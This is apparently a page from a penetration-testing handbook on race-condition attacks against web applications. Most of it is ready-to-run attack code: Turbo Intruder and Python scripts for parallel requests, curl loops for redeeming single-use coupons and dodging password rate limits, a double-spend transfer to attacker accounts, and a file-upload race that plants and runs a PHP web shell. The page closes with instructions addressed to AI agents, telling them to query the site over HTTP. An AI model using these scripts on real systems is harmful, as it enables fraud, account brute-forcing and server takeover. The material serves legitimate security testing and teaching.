# Race Conditions

Race conditions occur when the timing of actions affects the outcome, allowing attackers to exploit the gap between check and use operations.

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: HTTP understanding, concurrency concepts

## Concepts

### Time-of-Check to Time-of-Use (TOCTOU)

```
Normal flow:
1. Check: Is user balance >= $100?
2. Use: Deduct $100 from balance

Attack:
1. Send 10 parallel requests to buy $100 item
2. All checks happen before any deductions
3. All 10 purchases succeed with only $100 balance
```

### Common Vulnerable Operations

| Operation                 | Attack Goal                     |
| ------------------------- | ------------------------------- |
| Money transfers           | Double-spend, overdraft         |
| Coupon/voucher redemption | Multiple use of single-use code |
| Rate limiting             | Bypass request limits           |
| File upload               | Overwrite during processing     |
| Inventory/stock           | Purchase more than available    |
| Vote/like systems         | Multiple votes                  |
| Account creation          | Duplicate accounts              |

## Testing Tools

### Turbo Intruder (Burp Suite)

```python
# Basic race condition script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=100,
                          pipeline=True)
    
    # Queue same request multiple times
    for i in range(30):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)
```

```python
# Single-packet attack (most effective)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=100,
                          pipeline=False)
    
    # Send all requests in single TCP packet
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Release all at once
    engine.openGate('race1')
```

### race-the-web

```bash
# https://github.com/TheHackerDev/race-the-web
# Configure in config.toml

[[targets]]
method = "POST"
url = "https://target.com/api/transfer"
body = '{"amount": 100, "to": "attacker"}'
cookies = "session=abc123"
count = 100

# Run
race-the-web config.toml
```

### Custom Python Script

```python
import asyncio
import aiohttp

async def send_request(session, url, data, headers):
    async with session.post(url, data=data, headers=headers) as response:
        return await response.text()

async def race_condition_test(url, data, headers, count=50):
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, url, data, headers) for _ in range(count)]
        responses = await asyncio.gather(*tasks)
        return responses

# Run
url = "https://target.com/api/redeem"
data = {"code": "DISCOUNT50"}
headers = {"Cookie": "session=abc123", "Content-Type": "application/json"}

responses = asyncio.run(race_condition_test(url, data, headers, 100))
print(f"Success count: {responses.count('success')}")
```

### curl Parallel Requests

```bash
# Using GNU Parallel
seq 1 50 | parallel -j 50 "curl -s -X POST 'https://target.com/redeem' \
  -H 'Cookie: session=abc123' \
  -d 'code=SINGLE-USE'"

# Using xargs
printf 'https://target.com/redeem\n%.0s' {1..50} | \
  xargs -P 50 -I {} curl -s -X POST {} -H 'Cookie: session=abc123'

# Using bash backgrounding
for i in {1..50}; do
  curl -s -X POST "https://target.com/redeem" \
    -H "Cookie: session=abc123" \
    -d "code=DISCOUNT" &
done
wait
```

## Attack Scenarios

### Coupon/Discount Code Abuse

```http
POST /api/apply-coupon HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/json

{"coupon": "50OFF", "cart_id": "12345"}
```

```python
# Turbo Intruder - apply coupon multiple times
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=1,
                          pipeline=False)
    
    for i in range(20):
        engine.queue(target.req, gate='race')
    
    engine.openGate('race')
```

### Money Transfer Double-Spend

```python
# Transfer same funds to multiple accounts simultaneously
import threading
import requests

def transfer(to_account):
    requests.post("https://bank.com/transfer", 
                  data={"to": to_account, "amount": 1000},
                  cookies={"session": "victim_session"})

threads = []
for account in ["attacker1", "attacker2", "attacker3"]:
    t = threading.Thread(target=transfer, args=(account,))
    threads.append(t)

# Start all threads simultaneously
for t in threads:
    t.start()
```

### Rate Limit Bypass

```bash
# Send many requests before rate limit kicks in
# All arrive within same time window
for i in {1..100}; do
  curl -s "https://target.com/api/check-password?password=attempt$i" &
done
wait
```

### File Upload Race

```python
# Upload file and access before validation deletes it
import threading
import requests

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post("https://target.com/upload", files=files)

def access():
    for _ in range(100):
        r = requests.get("https://target.com/uploads/shell.php?cmd=id")
        if "uid=" in r.text:
            print("SUCCESS:", r.text)
            break

# Run simultaneously
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
```

### Inventory/Stock Manipulation

```http
POST /api/purchase HTTP/1.1
Host: store.com
Cookie: session=abc123

{"item_id": 1, "quantity": 1}
```

```
Scenario: Only 1 item in stock
1. Send 10 parallel purchase requests
2. All check "is stock >= 1?" before any decrement
3. Multiple purchases succeed
```

### OAuth State Race

```
1. Initiate OAuth flow, get state token
2. Send multiple parallel callbacks with same state
3. State may be accepted multiple times
4. Link multiple attacker accounts to victim's OAuth
```

## Detection Indicators

```
Signs of vulnerability:
- Operations involving balance/inventory checks
- Single-use tokens/codes
- Any "check then act" pattern
- Lack of database transactions
- Missing row-level locking

Signs during testing:
- Inconsistent results with parallel requests
- Balance going negative
- Stock going negative
- Multiple redemptions of single-use items
```

## Advanced Techniques

### Single Packet Attack

```python
# Most effective - all requests in one TCP packet
# Turbo Intruder with HTTP/2 single-packet mode

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)
    
    # Queue requests
    for i in range(20):
        engine.queue(target.req, gate='race')
    
    # Sync release - all in single packet
    engine.openGate('race')
```

### Last-Byte Synchronization

```
1. Send all requests except last byte
2. Server holds connections waiting
3. Send all final bytes simultaneously
4. Requests processed at same instant
```

### HTTP/2 Multiplexing

```python
# Use HTTP/2 to send multiple requests on single connection
# All frames arrive together, processed together

import httpx

async def h2_race():
    async with httpx.AsyncClient(http2=True) as client:
        tasks = [client.post("https://target.com/api/action") for _ in range(20)]
        responses = await asyncio.gather(*tasks)
```

## Tools & Resources

```bash
# Turbo Intruder (Burp Extension)
# Best for race conditions

# race-the-web
https://github.com/TheHackerDev/race-the-web

# racepwn
https://github.com/AhmedMohamedDev/racepwn

# Burp Suite timing features
# Repeater → Send group in parallel

# References
https://portswigger.net/research/smashing-the-state-machine
```

## Related Topics

* [IDOR](/enumeration/web/idor.md) - Often chains with race conditions
* [API Security](/enumeration/web/api-security.md) - APIs commonly vulnerable
* [Authentication Bypass](/enumeration/web/bruteforcing.md) - Rate limit bypass


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/race-conditions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
